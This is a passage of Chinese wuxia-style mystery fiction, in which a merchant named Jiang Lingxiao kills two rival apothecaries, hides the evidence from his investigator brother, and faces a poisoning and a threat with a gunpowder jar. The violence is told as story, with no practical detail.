沈丘染染了风寒,咳嗽连连。姜凌嚣命管家喊厨子起床,给五弟烧热姜汤。
堂桌一左一右两把太师椅,兄弟俩对坐热聊,紫玉和姜家两丫鬟侍立在旁。
姜凌嚣明知故问:“怎么大半夜来了康凌郡?”
“早就到了康凌郡下属的县城,查抄贪官污吏,本来都要收官回京了,康凌郡于太守的俩弟弟失踪了,于太守跟我们头儿交好,非要我以钦差名义查明。”沈丘染猛地咳嗽两声。
紫玉马上上前,给沈丘染斟茶。
沈丘染推开茶碗:“不喝!越是嗓子疼,越咽不下东西。”
姜汤端来,姜凌嚣起身,亲自喂到沈丘染嘴边:“来。”
仿佛回到小时候,沈丘染体弱多病嫌药苦,奶娘喂不下,最后也是得姜凌嚣才行。
沈丘染只好捏住鼻子,大口喝干,倚病抱怨:“你又不是不知道我吃不了辣,还让我喝这劳什子!”
好心还落一通埋怨,姜凌嚣宽容笑笑:“在外你威风凛凛像个英雄,谁知在家还是个孩子。”
沈丘染可不想当孩子,就爱当英雄,撇嘴不服,抖出张画像,故作老成:“这就于家失踪了的那俩兄弟。”
画像上的二人,一个彪汉,一个牛二。
姜凌嚣眸光敛紧,嗓音干哑:“才失踪不到一天,于家人怎么就急着搬出钦差查找下落?”
沈丘染病目猛地清明,难以置信地盯向姜凌嚣:“我没说过他们失踪不到一天。”
8. 双面凶手
正犯困的两个丫鬟和紫玉惊了一下,凝神屏息。
姜凌嚣眉梢轻微跳了一下,压下心中的排山倒海,用肯定的语气:“你说过的。”
沈丘染斩钉截铁:“没有。”
“烧糊涂了?自己说过的话也忘了。”紫玉赶紧上前,抚住沈丘染额头试温,又放到自己额头比较,“真有点热了。”
紫玉是自己的贴身丫鬟,沈丘染十分信任,不由变得迟疑:“我刚才说过于家兄弟失踪不到一天了?”
两个丫鬟是姜宅的,当然点头,坐实沈丘染确实说过。
姜凌嚣端起茶杯,缓缓呷口茶,“立功心切!索性你怀疑我是凶手,抓去交差吧。”
紫玉直觉他以真做假,瞬间汗毛倒竖。
沈丘染拍了下迷糊的脑袋,不好意思笑笑:“三哥,逗我一个脑袋烧坏了的人。”
姜凌嚣好奇:“你还没说才失踪不到一天,于家人怎么就断定他俩被杀了?”
沈丘染吸溜了下鼻涕,揉着越来越胀的太阳穴:“今天不到午时,于家两兄弟的马负伤跑回家了,却不见人,阿嚏——”
他使劲搓搓脸:“你是民,我是官,反倒审起我!审完了吗?审完了快贡献出你最好的客房,病人要休息。”说完起身,恨不得倒头就睡。
两个丫鬟带路,紫玉扶着沈丘染上楼,他鼻音浓重地逗三个女孩子笑,腰间的皇家玉佩一摇一摆。
楼下,姜凌嚣含笑目送,看到沈丘染的玉佩,猛地惊醒自己的皇家玉佩被牛二掳走,还滞留在洞里!
皇家玉佩天下也没几块,且块块刻画不一,自己那块玉佩,沈丘染不知把玩过多少次,见玉便知凶手。
姜凌嚣眸中笑意刹那间转冷。
山洞口,姜凌嚣提剑而来,大石板上插着箭头,妨碍搬运,他拔下来,随手一扔。
刚挪开大石板,一个僵直的人影扑面而来,“噗通”一声,砸在地上,在黑夜溅起尘烟。
姜凌嚣用剑拨了下尸体,借着月光,认出是牛二。
在石板后拿箭头杀他的是彪汉,怎么会是牛二?!
姜凌嚣正困惑,一个黑影“嗖”地擦身而过,跌跌撞撞冲出洞口。
他刹时明白过来,彪汉没死,缓了过来,牛二尸首是摆来迷惑他的!
虽没死,但彪汉被炸的血肉模糊,短暂冲刺到洞口就摔倒在地。凝固的血糊住了眼帘,他看不清前路,挣扎爬向洞口前的陷阱。
彪汉的手刚触到陷阱边缘,就缩了回来:“这是悬崖吗?求你别杀我!”
眼前闪过自己崖前被暗杀,姜凌嚣动了恻隐之心:“给我个不杀你的理由。”
“我老婆才生了孩子,连满月都没出。添了口人,只出不进,我想多挣钱,见玄虎丹抢了我们生意,才鬼迷心窍来搞你,并非我天生坏人。”
爆炸的气浪呛烂了彪汉的喉咙,每个字说得尤为痛苦。
月光中,姜凌嚣的心口一沉,显然是装下了那些话。
彪汉举起双手,以示手里没有武器,“请允许我站起来,一直趴着像狗,没有尊严。”
姜凌嚣默许。
彪汉站起来,神态恳切:“姜少东家,您有社会地位,有可爱的女人,每天都有大把的银子赚,应该过体面的生活。杀人的脏事,不适合您这样的生意人,生意人永远是靠谈条件达到目的。”
最后一句说到了姜凌嚣心坎里。他被灭门,痛恨杀戮。
他动摇了。
彪汉试着向前迈了一步,信誓旦旦是哥俩主动找茬,什么样的下场都是活该,弟弟的死与姜凌嚣无关,只要放过他,他绝对井水不犯河水。
他更是拿自己妻女大发毒誓,表明诚意天地可鉴。
姜凌嚣沉吟半晌,终大义凛然:“一言为定······”
话音未落,彪汉猛地伸手,向姜凌嚣喉咙刺去。
姜凌嚣闪转,成功躲过致命一击。
借着月光,姜凌嚣看清,彪汉手中攥着他扔在地上的箭头。
彪汉往洞外爬的时候捡到,那时就握在了手里。
也就是,他从一开始就心存杀念!
偷袭失败,彪汉索性迎面直击,不忘嘲讽:“不会进攻,只会防御的傻X!”
姜凌嚣怒不可遏,拔剑一挥。
剑光闪过,带起一弯暗红血浪,人头滚到地上。
残缺的身体没有立刻倒下,而是转过去,踉踉跄跄去追头。
头骨碌骨碌一直滚到陷阱沿,“咚”,坠下去。
彪汉的残体倒在陷阱边缘,鲜血哗啦哗啦往下流。
炸死牛二,纯属情急自保,而这次,是主动杀人。
姜凌嚣恶狠狠地鄙夷:“出卖妻女,活该!”
“嗵!”,残体栽进陷阱。仿佛姜凌嚣下完判决,上天进行了执行。
举头三尺真的有神明?那么自己的所作所为,是否无罪?
姜凌嚣大口喘息,望着漫无边际的黑天,久久不能平静。
鸡鸣破晓,大雾濛濛,笼着三层楼人的睡梦,尤显静谧。厨房已上灯,黄荧温馨,紫玉站在门口,正吩咐厨子给沈丘染熬猪肺粥润嗓。
姜凌嚣下马,往堂屋走,门口石榴树上的八哥看到他,掉过头,背对着他。
碰过死人的手,亟需感染生机,姜凌嚣止步,逗了一下八哥。
谁知,八哥像疯了一样扑扇翅膀,嘶叫:“杀人了!杀人了!”
紫玉听见,心惊胆颤,从厨房绕到堂屋前廊下:“谁大早上的不要命了在这作乱!”
姜凌嚣:“是我。”
紫玉跑过来赔罪下跪。
这一跪,看到了姜凌嚣长襟下摆处沾染的不明血迹,灰色洇成黑色,她瞬时魂飞魄散,跌坐在地,瑟瑟发抖。
姜凌嚣看到了她的失态,漠然转身,变形的影子在晨雾中隐约不散,像个飘荡的魔鬼。
卧房,空气中弥漫着馥郁的甜香,丫鬟们正举香熏炉被子,拿梳子蘸了桂花水给小虎梳头,不时嬉笑。
“砰”,姜凌嚣推门而入,跟往常斯文的推门声完全不一样。
屋内猛地噤声,丫鬟们齐齐停下手里的活,请安都忘了。
姜凌嚣:“下去。”
丫鬟们慌忙关门出去。
小虎正照镜子,铜镜里突然跳进一张扭曲的脸,她吓了一跳,回头仔细瞧,姜凌嚣好好的,脸并没扭曲,只是眼中布满血丝。
但镜子里,就是狰狞得像刚杀了人。
小虎不由站起来,神色惊恐:“你怎么了?昨晚还好好的。”
姜凌嚣有说不出的邪狞:“你说得对。”她说过,刀落必须头掉,他突破了最后的心理防线,做到了。
小虎摸不着头脑,抓了块点心喂到他嘴边:“饿傻了?”
姜凌嚣一把握住她的下巴,推至床前,眸中含邪:“不吃。”
“那你吃什么?”
“你。”
回京的路上他就喜欢小虎,小虎也三番五次引诱,但他从
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未顺水推舟。因为鄙夷、痛恨她滥杀无辜。
现在不用了,他变得和她一样。
不,他还要和她不一样。他凶狠,猛烈起来,像在替天惩罚另一个杀人犯。
看她眉眼起皱,蜷缩,告饶,他将她宽恕,原谅,怜悯,放过了被审判着的杀人犯,也就是也放过了同为杀人犯的自己。
他们平起平坐,他可以不再约束着自己,放肆去爱她了。
丫鬟们在外面红了脸,小声催促对方:“快去烧水,一会儿俩人要浴汤了。”
昨晚隔壁沈丘染咳嗽,吵的紫玉睡不着,她倚在窗上赏夜景,却发现姜凌嚣骑沈丘染的马出门,等他回来,衣摆上沾了血迹。
她来到马棚,找到沈丘染的白马。
马身上也溅了血点。
昨晚她配合他骗过沈丘染,然后疑似发生了命案。如此一件不起眼的小事,就决定了一个人的命运。
紫玉震惊,懊悔不迭,忙拿刷子刷马,洗刷自己无意间参与的罪恶。
刷着刷着,她哭了,狠狠抹了下眼角,泪根本抹不完,就像能洗刷的掉证据,也抹不掉共犯事实一样。
——
太阳高升,浓雾弥散,阳光晒到沈丘染脸上。
他起晚了,系着腰带匆匆下楼。
走至一楼,丫鬟端来姜汤,紫玉端着猪肥粥“清肺化痰的,多吃点。”
沈丘染马不停蹄:“来不及了!人命关天,答应了于太守帮他找兄弟的!”
“站住。”
姜凌嚣下楼,猪肺的腥膻飘来,让才杀过人的他反胃,他止步在楼梯口,“病了还不喝药,让你当差,不是叫你卖命。”
他刚沐浴完,周身散发着幽冥冷香,身姿笔直强硬,气场逼人。
沈丘染本想拒绝,但姜凌嚣的冷眼让他不由自主端过姜汤,一口闷。
姜凌嚣瞥眼粥,又是不容反驳。
沈丘染实在喝不下了,幸好小虎在房内喊了一声姜凌嚣。
姜凌嚣转身刚走,沈丘染就放下粥碗,刚出大门,他就扶着石狮子吐了个干净。
紫玉追来,帮他擦嘴:“不能喝姜汤,还逞强。”
沈丘染夺过帕子,胡乱抹了两下嘴:“你看他刚才那样子,我敢不听话吗?奇了怪,三哥今天怎么跟以往那么不一样呢。”
紫玉心虚,不再吭声,帮沈丘染牵过马。
沈丘染奔马疾驰,来到太守府。
于太守特意备了丰盛的当地特色早点,沈丘染盛情难却,勉为其难尝了几口芝麻糍粑裹油条,弄了一手油。
侍立在旁的小衙役见状,立马递上青云锦帕。
沈丘染随意擦擦手,扔掉帕子,无心过多寒暄,单刀直入要查失踪案。
于太守赶紧调动人马协助。
太守府院中,官兵严阵以待,衙役牵来猎狗。
沈丘染让于家人找出失踪两兄弟的贴身衣物,给狗闻。
恰好失踪那日两兄弟在太守府吃早饭,用过府上帕子,当即翻出两块。
狗闻过帕子,寻味识踪,狂吠突奔。
沈丘染骑马紧追其后。
几十名官兵和衙役武装森严,随狗穿街跨巷,阵仗大到像出兵打仗,百姓、商户避之不及,瓜果山货滚了一地。
忽然,前面部队随狗停住,齐齐亮出弓刀,包围府门。
刀头上前禀告:“沈大人,凶手找到了。”
沈丘染盯着府门匾额,震鄂。
姜宅。
9. 石狮子
是三哥府里人所为?或者是猎狗鼻子出错了?沈丘染猜来猜去,反正无法和姜宅当家人姜凌嚣扯上关系。
刀头义正言辞:“沈大人,失踪两兄弟于克新、于克光经营药房,姜家最近有新丹上市,只怕因同行利益结仇,姜氏嫌疑巨大。现在猎狗寻味识踪到此,请沈大人下令查抄姜宅!”
猎狗对着姜宅门口的石狮子狂吠不止,宣告着此地可疑。
沈丘染生怕藏着掖着跟做贼心虚似的,索性挑明:“你可知道姜宅的东家是本钦差的亲三哥吗?”
刀头惊愕,士兵骚动。
沈丘染:“姜凌嚣为人正直清白,在京城曾有沈三少的美誉,连皇上都对他青眼相加。”
可三哥“沈”变“姜”,深究起来有欺君之嫌,沈丘染降低音调:“王子犯法还要与庶民同当,本钦差会秉公执法。”
宅门门缝后,一双乱转的大眼珠子忽脩不见。
小虎狂奔进书房,抄起墙上的剑,拽起正在噼里啪啦拨弄算盘的姜凌嚣。
“账还没算完呢。”
小虎拉他到走廊,指着楼下:“你弟弟带人来抓你!”
姜凌嚣安然:“我又没犯法。”
七七八八的消息凑起来,小虎大概知道山洞上出了事,“昨天来找茬的那俩人,其中一个对着门口的石狮子撒了泡尿,狗闻味追来了!很快就能追到山洞!你弟弟是沈家人,能算什么好东西?指定六亲不认抓你杀头!”
三楼视野开阔,能看到宅门外黑压压站了几十名官兵,持刀握矛,只等令下。
姜凌嚣看了眼她手里的剑,意外又动容:“他要抓我,你打算护我?”
小虎挥剑,信誓旦旦:“是!杀出一条血路,带你跑!”
姜凌嚣倚栏抱臂,一脸兴味:“跑哪儿?”
“先跑了再说!”
楼下传来拍门声,管家刚打开门,被刀头一把推开,“踏踏踏”行军声从院子震动到楼上,黑压压的官兵侵入庭院,包围各路。
小虎惊叫:“逃不掉了!”
“别怕,有我。”
“切,我怕?我怕底下人不够我杀的!”小虎亮剑,欲大开杀戒。
姜凌嚣摁住她的手,说一句,敲一下在他心口上:“不止今天不动手,我要你永远不为我动手。”
“为什么?”
“保护一个人有风险,如果非要承担这个风险,希望是我对你。”
小虎急眼:“叽里呱啦酸什么?火烧屁股了!”
“记住我的话,拉勾。”姜凌嚣伸出骨节分明的小指。
“嗯嗯嗯,不动手。”小虎不耐烦勾勾姜凌嚣的手指,心想要是他们先动手,那我就叫自卫。
姜凌嚣难得笑的眼尾弯起来。
院子里,沈丘染拔出尚方宝剑,怒气冲冲对着刀头:“本侍卫乃代表皇命的钦差,有权先斩后奏!我让你的人没我命令不得进宅,你敢抗命!”
刀头虽作揖,但口气极硬:“沈钦差南下使命乃查抄贪官污吏,来康陵郡不过是为个人帮忙,算不得奉皇命。凶手在此,岂可有包庇之理?”
两人对峙间,姜凌嚣携小虎站到院子,于太守也匆匆进门,厉声喝止:“大胆,敢对钦差放肆!”
刀头详述猎狗追凶如何追到姜宅,指着门外:“于太守,石狮子旁边有新土覆盖,只怕埋有尸体。”
于太守盯向姜凌嚣,眼神深切怀疑:“挖!”
官兵跑去挖掘石狮子。
姜凌嚣冷静无惧,文质彬彬:“请于太守安,协助官府破案是商户应有的觉悟,愿早日缉拿真凶归案。”
沈丘染护到姜凌嚣身前,打断于太守要杀人的眼神,“于太守,别这么武断凶手。猎狗追味寻踪是破案的辅助手段,而缉拿真凶需要物证人证俱全。况且府上百十余口人,需要逐一排查。”
于太守阴阳怪气:“好哇,那边挖着证据,咱们就一一排查凶手,牵狗来。”
刀头牵来猎狗,一名小衙役上前,掏出于氏兄弟用过的帕子,放到狗鼻子下,“去,咬出凶手!”
姜宅人站了一排,猎狗一一路过。
突然,猎狗猛地一跃三尺高,扑向沈丘染,“咔”一口啃住他胳膊,顿时鲜血直流。
姜凌嚣眼疾手快,拔过小虎的剑一劈,狗从半空坠落,重重摔在地上。
所有人大吃一惊,于太守也瞪了眼:“它怎么扑沈侍卫?”怎么不是姜凌嚣?
刀头瞠目结舌。
紫玉目光如炬,指着小衙役衣襟:“他这里面,还有一块同样的手帕。”
小衙役脸色一慌,忙掖衣襟。
于太守发怒:“遮掩什么?”
刀头上前,掏出小衙役怀中另一块手帕。
跟给猎狗闻的那块同样的青云锦帕,也带着油渍污点。
刀头一巴掌扇倒小衙役:“混账,做了什么手脚?!”
小衙役吓得面如土色:“早饭时,沈大人用过的帕子我随手装进衣襟,接着就紧急集合出差。于克新用过的帕子,我也揣到怀里,弄混了。”
刀头疑惑:“就算手帕混了,猎狗为何追踪到姜宅?”
管家引官兵抬着石狮子进院,特意摆在于太守脚下。
官兵:“石狮子旁边,只有最上面的土是新的,下面土质结实,完全没有掩埋尸体的痕迹。”
沈丘染拍了下脑门,哎呀一声:“早上,我在石狮子上吐过姜汤。你们把我用过的帕子给狗闻,他追到的人可不就是我!”
管家也装作才想起来:“那些新土是我看门口有呕吐物,让人盖上的。”
脚下的石狮子,从罪证变为笑料,于太守大骂刀头:“还不赶快把镇宅原样安回去,撤兵滚蛋!一群混账白吃!”
官兵如鸟兽散。
沈丘染喊住刀头,口气很差:“我在秉公执法,只是让你不要贸贸然放兵进家,吓到无辜老少,而你真够铁面无私,不听我指挥。”
刀头赶紧找补:“于克新曾接济过我,我也是知恩图报心切······”
紫玉边麻利地帮沈丘染包扎胳膊,边添了把火:
“还没拿到证据,你就断定是同行冤家谋害。难道你的知恩图报就是假公济私,帮于家铲除同行?我倒不信于家能放纵你这样下作。若是你自己的主意,那可真是毁了于太守清誉,可谓家贼!”
于太守恼羞成怒,踹翻刀头,命人拉下去打军棍。
门外传来“噗通、噗通”的棍打肉声,一声接一声的惨叫声。于太守忙着赔礼道歉,重新拉拢交情,院外院内一时嘈杂。
成功洗白自己,又为耿正拖住了官兵,姜凌嚣暗暗挠了下小虎的手心,眉梢微挑。
堂屋门口的石榴树上,黑八哥和白信鸽抓着同一根树枝,滴溜着小眼,盯着满院子的人。
突然,黑八哥横向动了几下,堂而皇之挤落白信鸽。
白信鸽掉下枝头,扑腾着翅膀,飞向白云蓝天。
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>同一片蓝天下,距姜宅百余里的深山上,耿正举着尖刀,剜下嵌在山洞口的两颗掌旋球。
洞口周边,二十余名马帮壮汉背顶大太阳,挥锹铲土,种植荆棘。
最后一棵荆棘种完,耿正抬头望天,乌云慢慢飘过来,即将下场大雨。
时值春天,西南地区的植物遇雨,一夜便可生根发芽,三天就抽新枝,不足半月,针刺遍布,任谁也无法踏入埋着两个死人的案发地。
赶了一夜的路,耿正带马帮押送地藏蕨汁回来,替姜凌嚣上山掩埋罪证,自凌晨至今,还未合眼。
耿正扛锹上肩,双眼疲惫:“收工。”
二十多匹马,拉下一坨坨马粪,砸在未寒尸骨上,马帮壮汉哈哈大笑,驰骋下山,粗犷的嗓子飚起山歌,震落云上雨滴,世间暂无青天。
倾盆大雨,姜家西苑门大开,马蹄声由远及近盖过雨声,地上溅起尺高深红泥浪,二十多匹膘肥体壮的骏马奔腾而入。
安顿下马帮,耿正冒雨来到东苑,敲开姜凌嚣书房门,告知他地藏蕨到货,但受了潮,需要五天内炼制,否则变质报废。
还有一个好消息。
江湖眼线密报,找到了打造□□金牙的金铺,就在京城。金铺伙计口风很严,威逼利诱下,只有一人肯提供买家线索,但开价奇高,过时不候。
离揪出姜家灭门真凶,近了一步。
但山洞炸毁,新的炼丹房还未找好,“玄虎丹”即将断供,财源无法支付线人。
当务之急,就是赶紧找个新的炼丹房。
于氏兄弟没找到,主办官员倒让狗咬了,闹出笑话,沈丘染又负责又爱面子,咽不下这口气,不顾休养,翌日一早就去找新线索。
他出门,姜凌嚣进门,刚好走个面对面。
姜凌嚣揶揄:“(我)弟弟又去找(别人)弟弟?”
两人就站在闹出误会的石狮子旁,沈丘染臊眉搭眼:“三哥,实在对不住,昨儿我拦着拦着,官兵还是惊了你府上。”
姜凌嚣只关心沈丘染的伤情:“还疼吗?”
沈丘染忙动动胳膊:“你府上有个白眉老太,刚给我敷上药就不疼了,比太医还厉害。三哥都是从哪儿笼络的这些能人?”
姜凌嚣垂下双睫,顿了顿,“都是老人家生前积攒下的人脉,我不过是坐享其成。”
哪壶不开提哪壶,沈丘染抬右手扇了自己一嘴巴,扯到伤口,他疼地呲牙咧嘴。
兄弟只差两岁,可只对着自己时,弟弟像比自己小十岁不止,让人不放心。
姜凌嚣宠爱中带着无奈:“我给你当仆人,仅此一天。”
离太守府百十余米的街上,店铺栉比鳞次,有家挂匾“于德雅堂”的大药房,前店后院,沈丘染和姜凌嚣穿堂而过,进入于家。
院中毫无任何德与雅的痕迹,摆满各式练武用的木桩,上面挂满了尿布和粉底白花的小衣裳,在春风中飘摇不定。
姜凌嚣在小衣裳前驻足片刻,收起分心的怜悯,随沈丘染进到屋内。
于克新的老婆还没出月子,不方便见人,老妈子放下床帘掩实,卧房开了条缝,方便门内门外对话。
隔着门,沈丘染和姜凌嚣站在堂屋,姜凌嚣目光专注墙上字画,一副仅是作陪的样子。
沈丘染隔门发问:“于克新有无跟人结过仇?”
姜凌嚣耳朵一动。
门缝,传出女人的哭腔:“有。前天他说同行是冤家,一定要去算账!”
10. 张大嘴
“玄虎丹”抢了于克新生意,上门寻仇便失踪,必须灭口知情寡妇。
姜凌嚣暗中捻开浸毒蛇信针,缓缓靠近门缝。
“什么人?!”沈丘染激动的抢先一步,挡住了门缝。
千钧一发之际,应先打晕沈丘染,再杀于寡妇的念头,从姜凌嚣脑中一闪而过。
可他无法对亲弟弟下手。
一个迟疑,就错过最佳时机。于寡妇已在房内再次开口:“好像是个贩卖兵器的。听克新跟弟弟说,那家伙还有账没给他结,闹得很不愉快。”
万幸,万幸,于氏兄弟还有别的仇家。
姜凌嚣无声舒出一口长息,手指颤抖地收起毒针。
女人再喋喋不休些什么,他都不在意了,出门呼吸新鲜空气。
春风大,粉底白花的女婴衣裳吹掉在地,姜凌嚣上前捡起,挂回练功的木桩上。
齐人高的木桩顶端生了青苔,像长了头发,猛一看像是于克新在抱着女儿。
仿佛死者回来复仇,姜凌嚣拽走小衣裳,浑身冒冷汗。
“嘶,嘶!”沈丘染从马棚出来,低声叫他出门。
女婴小衣裳一时找不到搁置地方,姜凌嚣边走边卷进袖筒。
两人走出于家,瞅瞅四下无人,沈丘染神神秘秘从怀中掏出个东西,双手掰开。
姜凌嚣表情震愕。
于克新的马铃铛!里面有地藏蕨胶!
沈丘染没觉察到姜凌嚣的表情,沉浸在如获至宝的亢奋中:“于家兄弟的马负伤回来,我就猜一定和凶手有过交集,果然在马脖子上找到可疑东西。这黑胶味道奇异,说不定和凶手有关,看我带猎狗重新追凶!”
姜凌嚣每不在家,小虎便无人管制,她请丫鬟们到本地最大的酒楼吃喝,还叫了几个名角唱曲。
旁桌客人在商量过几天出城踏青,小虎听风就是雨,现在就要去,丫鬟们喝得昏头涨脑,一窝蜂跟出城。
淙淙绿水绕青山,啾啾雎鸠环枝头,瀑布倾泻,尘嚣渐远,小虎带丫鬟们解放天性,脱了衣裳,进水嬉戏。
小虎帮丫鬟们挨个搓澡,挤后背上的痘,她高兴过了头,光着屁股爬上岸边桃树,吭哧吭哧砍了一筐桃花,骑马就走。
“哎呀,姑娘又干嘛去?”
“赶紧拦住她,不然闯了祸,少东家饶不了我们!”
等丫鬟们着急忙慌上了岸,小虎早已消失不见了。
红泥墙头扎着刀片和铁蒺藜,圈起一座红碉堡。
紧闭的大铁门外,几个敞怀的胖高男人持刀站岗,胸前和胳膊布满刺青,凶神恶煞。
门前有条平坦大路,路人躲瘟神一样,绕道走。
红尘滚滚,小虎驰骋而来,大喊:“告诉杨柳红,她的朋友小虎来看她!”
大铁门开,红泥地大院子四周陈列着各式兵器,冷光闪烁,耀眼夺目。
小虎咣啷咣啷穿过院子,一直骑到碉堡门口才下马,惊的屋里人破口大骂:“操!谁他娘敢在我地盘撒野?”
小虎抱着筐桃花进门,臭脚丫子味扑面而来,她捏着鼻子答:“是我娘。”
冲门摆着张罗汉床,一个肥大粗壮的大嘴男人盘腿而坐,正拿尖刀削脚指甲,听了小虎的胡言乱语,停住刀,瞪眼看她。
小虎一瞅男人的大嘴,就知道是杨柳红的男人张大嘴,小虎问他:“杨柳红呢?”
护卫上前警告:“叫张统领,(你)大爷(的)!”
姜凌嚣天天耳提面命做人要有礼貌,人家上来就叫自己大爷,小虎谦虚摆手:“不敢当,不敢当!”
张大嘴一脸看傻子的神情,朝后院咆哮:“柳红,你从哪儿认识了这么个玩意儿?让我上火!”
吼完,他张开血盆大口,举起尖刀剔牙。
小虎嫌恶心:“咦……”
张大嘴要起来揍她。
屏风后,杨柳红碎步匆匆飘出来,对着张大嘴满脸赔笑,拉着小虎赶紧离开。
杨柳红的屋子,一推门就是沁人心脾的脂粉香,陈列更是精巧整洁。
小虎受不了人家两口子的落差,边啃梨边劝离:“你又美又香的可人儿,怎么跟个丑大嘴?他拿削了脚的刀剔牙!一定是他强迫你!要不要我替你砍死他?”
丫鬟吓得瞠目结舌。
杨柳红赶紧支走丫鬟,亲自给小虎斟茶,小声:“我以前是伎女,有人肯收我从良,又锦衣玉食的供着我,不算受为难。”
小虎一拳捶烂梨,豪言壮语:“你要是为了钱,我偷姜凌嚣的给你。”
伎女求生的辛酸曲折,不是小虎理解的那么简单,杨柳红忙转移话题:“你找我甚事?”
小虎把筐搬到桌上:“山里桃花开得娇艳,我就想起了同样美丽的你。”
男人找杨柳红,从来都只是为了作践她的身子,发泄时还骂她脏货臭货。唯有小虎,专程而来只是为了送花。
杨柳红强忍住哽咽,拿过绣了半截的鸳鸯红腰带:“瞧,我配了十几种香料给你绣腰带。等绣好了你系上,香喷喷的去迷倒姜少东家。”
“得手啦。”小虎喜笑颜开,搁置刚才不快。
“快给我讲讲。”
俩人吃茶聊天,一直快乐到天擦黑。
杨柳红留小虎吃饭,小虎连忙摆手:“你家菜说不定是拿张大嘴修脚刀切的!”
小虎走了,约莫一个时辰后,又折回来,甩给杨柳红一个沉甸甸的大包袱。
杨柳红疑惑地解开。
是一张一万两银票、几大锭金元宝、一块黄穗玉佩,一个土陶罐和几盒玄虎丹。
小虎举起土陶罐,咬牙切齿:“这是炸药,张大嘴敢强迫你,你就点火把他炸成灰!”
见惯人心叵测,早已不信真情,竟然还有人对自己掏心扒肝,杨柳红倒吸一口凉气,跌坐在凳,鸳鸯腰带从手中滑落。
小虎捡起腰带系上,十分满意:“你绣的鸭子活灵活现,手真巧,我现在就带走!”
骑上马,没收口的香料随颠簸洒出来,沾在小虎腰间,逐渐生出黑筋,悄然蔓延整个后背。
她开始像喝醉了一样坐不直身子,趴到马背,一路摇摇欲坠。
刚回到姜宅大门口,她就摔下马背。
恰好紫玉出门撞见,捡起小虎猛摇:“姑娘怎么了?刚才见了谁?吃了什么?”
小虎闭着眼,嘴里含混不清:“张大嘴恶······”
她心中糊涂,不知道此时为什么眼前闪过张大嘴,想说“恶心死了”,但只发出个“恶”字,彻底昏过去。
紫玉喊人把小虎背进屋,请来白眉老太医治,又派人去找姜凌嚣。
陪沈丘染走访完于家,姜凌嚣一直在和耿正勘察新炼丹房,听闻噩耗,即刻丢下要事,快马加鞭回家。
楼梯来不及走,他从马背上翻空至三楼,惊吓到楼上楼下的佣人。
冲进房内,床帘闭着,毫无动静,姜凌嚣心头有种不好的预感,越走近床边,脚步越缓。
他定了定神,一把掀开床帘。
天天上蹿下跳的小虎,此刻不醒人事,面色煞白,只呼气不吸气,浑身布满黑筋,像被密密麻麻的细蛇绞杀着。
白眉老太正往小虎身上点红色药膏,点过的关节处,冒起青烟,黑筋逐渐变淡。
攥着床帘的手指因为用力而发白,姜凌嚣使劲平定片刻才开口:“她中了什么毒?”
白眉老太递出条未完工的红腰带:“这香料里加了雄黄。常人碰得,小虎姑娘——体质跟常人不一样。幸而只是皮肤沾染,要是内服,我也无力回天。”
两人心中通明,小虎是妖精转世,碰不得雄黄。
姜凌嚣将红腰带揉在手心,颌角绷起利剑般的筋棱:“谁送的?”
贴身丫鬟:“紫玉知道,我去叫。”
白眉提笔疾书药方,写完撕成两半,派给两个下人一人一张,叮嘱一定要去不
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同药房抓药。
以免被有心人识破,姜家竟窝藏着个妖精,引来灾祸。
紫玉进门,看姜凌嚣脸色黑沉,不由小声:“小虎姑娘昏迷前,说过张大嘴恶。”
张大嘴是个混恶的兵器贩子,杀了名伎杨柳红的相好,抢至家中做妾,老鸨带着几十名打手上门要人,被冷箭射伤,官府上门都攻不下碉堡大门,康凌郡人均耳闻。
小虎打麻将结识杨柳红,姜凌嚣更是门清。
紫玉看看凌乱的屋内,提醒:“五爷屋里被盗了,丢了皇家玉佩和黄包袱,不知道和小虎姑娘中毒有无牵扯。”
姜凌嚣这才注意到,盛着救命钱的匣子被破坏。
“不好了!我丢了个炸药罐!”小炸药也传来惊慌失措。
廊外,丫鬟猛的尖叫,卧房门被管家撞开,他高举双手,怀中鼓鼓囊囊,“少爷,有人找……”
姜凌嚣镇定:“张大嘴,出来吧。”
张大嘴从管家身后现身,怒视姜凌嚣:“你女人送我女人一罐炸药,说要炸死我!”
像是小虎能出的主意,那家中失窃便是小虎所为,姜凌嚣不动声色。
“杨柳红吃老子的喝老子的,收了炸药,不告诉老子!要不是丫鬟告密,老子已经炸碎了!臭表子,臭表子!”张大嘴越说越伤心,不停用刀柄捅管家心口。
管家疼的哇哇大叫:“我又不是背叛你的臭表子!”
张大嘴捅累了,掏出一粒玄虎丹吃上,很快上了劲儿,眼神开始不受控得乱飘,他瞥见小虎躺在床上,咆哮:“这么吵你能睡着?别装,滚起来!”
姜凌嚣盯紧张大嘴,看他药效发作,阴戾:“她在你家中毒了,昏迷不醒。”
张大嘴仰天大笑:“中毒了?该!你们想抢了我的兵器买卖,正面杀不死我,背后使诈,多亏祖宗张飞保佑!”双手合十,朝上空一拜。
张大嘴本来就狂,玄虎丹让他狂上加癫,他突然拽出管家怀中炸药罐,点燃引线,举着跑向小虎床边。
“少爷快走!”管家上前拦抱张大嘴,被一脚踹翻在地。
怎可能弃小虎于不顾,姜凌嚣眼睁睁看着引线滋滋烧去半截,红亮的火星还在向前吞噬。
张大嘴看向窗户,准备爆炸前就跃窗。
姜凌嚣已摸清对面是个丧心病狂的自大狂,引线烧到只剩一寸,他调转口风:“你猜对了,我是想染指你的生意,想杀你,但你像个帝王一样没有破绽,我只能用下作的手段。”
管家瞪大双眼:嫌死的不够快吗?
谁知,张大嘴竟用嘴含灭引线,音调高亢:“我就知道!没有计谋能逃过我的火眼金睛,我可是打造无坚不摧碉堡的王!”
姜凌嚣投其所好:“一切因我而起,明日我亲自登门道歉,如若不能让你满意,姜宅也归你统领。”
“一言为定!”张大嘴转怒为笑,从怀里抽出个黄包袱,包好炸药罐,张牙舞爪下楼。
走到大门口,张大嘴正巧与沈丘染走了个面对面,擦身而过。
沈丘染走了没几步,皱紧眉头,猛然追出门,张大嘴已消失不见。
“三哥,家里招贼了!”沈丘染跑到楼上。
夜深人静,属下提醒耿正,地藏蕨汁已搁置三天,再不炼制,两天后就全部报废。
耿正算了算,刨除炼制一天,其实只剩一天时间找炼丹房了。
姜家灭门后,沈家掏走了大半财产,剩下的钱除了开支京城药房、西南马帮、姜宅,全买成了地藏蕨汁。
一旦报废,失去生计,为姜家复仇终成泡影。
耿正找到姜凌嚣书房,建议:“还有一天时间找炼丹房,只要过了明天,再为小虎出气不晚。”
姜凌嚣异常坚决:“不,我要两者一起。”
“你冷静,这是不可能的。”
